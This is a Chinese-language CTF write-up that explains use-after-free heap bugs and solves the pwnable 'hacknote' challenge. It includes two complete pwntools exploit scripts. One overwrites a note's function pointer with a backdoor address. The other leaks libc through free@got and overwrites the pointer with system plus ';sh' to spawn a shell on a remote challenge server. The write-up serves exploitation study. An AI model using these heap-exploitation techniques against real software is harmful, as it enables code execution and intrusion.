UAF:
原理:
使用被释放的内存块,其实当一个内存块被释放之后重新使用会有如下几种情况:
1、内存块被释放,其对应的指针被设置为NULL,再次使用时程序会崩溃
2、内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用前,没有对代码这块内存块进行修改,那么程序有可能可以正常运行
3、内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就有可能出现问题
一般的UAF漏洞主要是2,3,一般将释放后没有被设置为NULL的内存指针称为悬空指针
例题:
pwnable_hacknote:
检查保护:
开启了canary和nx
静态分析:
主函数:
1、创建:
创建功能首先判断说明最多创建5个8字节结构体堆块==》note==》
成员变量:puts:print_note_content的函数指针//content:自己创建的堆块(content)指针
print_note_content函数:
答应传入a1+4地址处内容
接下来创建指定大小的堆块,并在堆块的data区写入内容
2、删除:
在free堆块指针后未清空,出现UAF
3、打印:
输入index,打印出成员变量content指针处内容
4、后门:
动态分析:
分配两个0x18大小的堆块:
红色框内为note,也就是结构体堆块==》
note中第一个为print_note_content()函数指针,第二个为content_chunk的data起始地址
考虑将print_note_content()函数指针替换为后门函数地址==》执行show时直接调用后门函数
释放堆块:
由于释放堆块后指针位清空,所以在释放堆块后依然可以使用该堆块指针
此时只需申请一块note大小的堆块即可获得fastbin中的note0,和note1==》
先申请到后入的note1作为note2,再将note0作为note2的content堆块==》
只需在申请堆块的时候填入后门地址==》填入note2的content==》填入note0==》覆盖了print_note_content()函数
此时只需打印没有被清空指针的0堆块即可调用后门函数
后门exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *
io=process('./hacknote')
#io=remote()
elf=ELF('./hacknote')
def add(size,content):
io.recvuntil("Your choice :")
io.sendline('1')
io.recvuntil("Note size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(str(content))
def dele(index):
io.recvuntil("Your choice :")
io.sendline('2')
io.recvuntil("Index :")
io.sendline(str(index))
def show(index):
io.recvuntil("Your choice :")
io.sendline('3')
io.recvuntil("Index :")
io.sendline(str(index))
add(0x18,'aaaa')
add(0x18,'bbbb')
flag=0x804898F
dele(0)
dele(1)
#gdb.attach(io)
add(8,p32(flag))
show(0)
#gdb.attach(io)
io.interactive()
exp本地执行:
无后门函数思路:
程序无system,所以需要泄漏libc==》通过程序的show中的puts泄漏函数地址
所以show所指向的地址需要是函数的地址(free@got)
申请堆块,释放堆块,再申请note区域的堆块,覆盖note堆块的data区域为puts+free@got,利用未清空的堆块指针实现show,实现泄漏free函数的地址
再次释放堆块,再次申请回刚刚的note堆块,覆盖note堆块的data区域为system+’;sh\x0’,利用未清空的堆块指针实现show,实现getshell
无后门exp:
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.os='linux'
#context.arch='amd64'
#context.log_level='debug'
io=remote('node4.buuoj.cn',26171)
#io=process('/home/giantbranch/桌面/rrr/hacknote' )
elf=ELF('/home/giantbranch/桌面/rrr/hacknote' )
def add(size,content):
io.recvuntil("Your choice :")
io.sendline('1')
io.recvuntil("Note size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.send(content)
def delete(idx):
io.recvuntil("Your choice :")
io.sendline('2')
io.recvuntil("Index :")
io.sendline(str(idx))
def show(idx):
io.recvuntil("Your choice :")
io.sendline('3')
io.recvuntil("Index :")
io.sendline(str(idx))
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
#add(0x20,'cccc')#2
delete(1)
delete(0)#后进先出
puts_addr=elf.sym['puts']
free_got=elf.got['free']
print(hex(puts_addr))
print(hex(free_got))
payload=p32(0x804862b)+p32(free_got)#0x804862b:puts(content的内容) ,本来free_got的位置应该是content地址
add(0x8,payload)#0,1指针还存在,所以为chunk2 note=>chunk0.note content=>chunk1.note fastbin后进先出
show(1)#想要的地址在chunk1.note中,chunk1指针未清空,puts(content=>free_got)
free_addr=u32(io.recv(4))
print(hex(free_addr))
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
sys_addr=libcbase+libc.dump('system')
delete(2)#没有edit功能,所以先释放chunk1.note,再释放chunk0.note
payload=p32(sys_addr)+';sh\0'#0x8大小只能放sh,puts覆盖为system的时候system的参数是system函数本身地址,所以使用‘;’,忽略上一条执行的错误,执行下一条===>system('sh')
add(0x8,payload)#再次申请获得:note=>chunk0.note content=>chunk1.note。这个为chunk3
show(1)#getshell在chunk1.note中,show=>system('sh')
#gdb.attach(io)
io.interactive()